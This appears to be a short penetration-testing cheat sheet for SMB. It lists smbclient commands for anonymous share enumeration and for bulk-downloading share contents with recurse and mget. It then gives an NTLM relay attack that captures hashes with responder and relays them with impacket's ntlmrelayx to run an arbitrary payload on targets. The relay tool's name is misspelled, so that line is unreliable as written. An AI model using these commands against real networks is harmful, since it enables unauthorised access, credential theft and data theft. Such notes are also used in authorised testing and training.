SMB

Server Message Block

Enumeration

Without Credentials
smbclient --no-pass //IP/<Share>
Connect to share
smbclient -N \\\\IP\Share
List Resource list
smbclient -L <IP>
List Null session
smbclient -N <IP>
List Share
smbclient //IP/<SHARE> -U <USER>

To download files type this sequence of commands:

1

recurse

2

prompt

3

mget *


NTLM Relay Attacks

Capture the Hash
responder -I eth0 -dwv
Relay the hash
impacket-ntrlrelayx -tf target.txt -smb2support -c <payload>

Last updated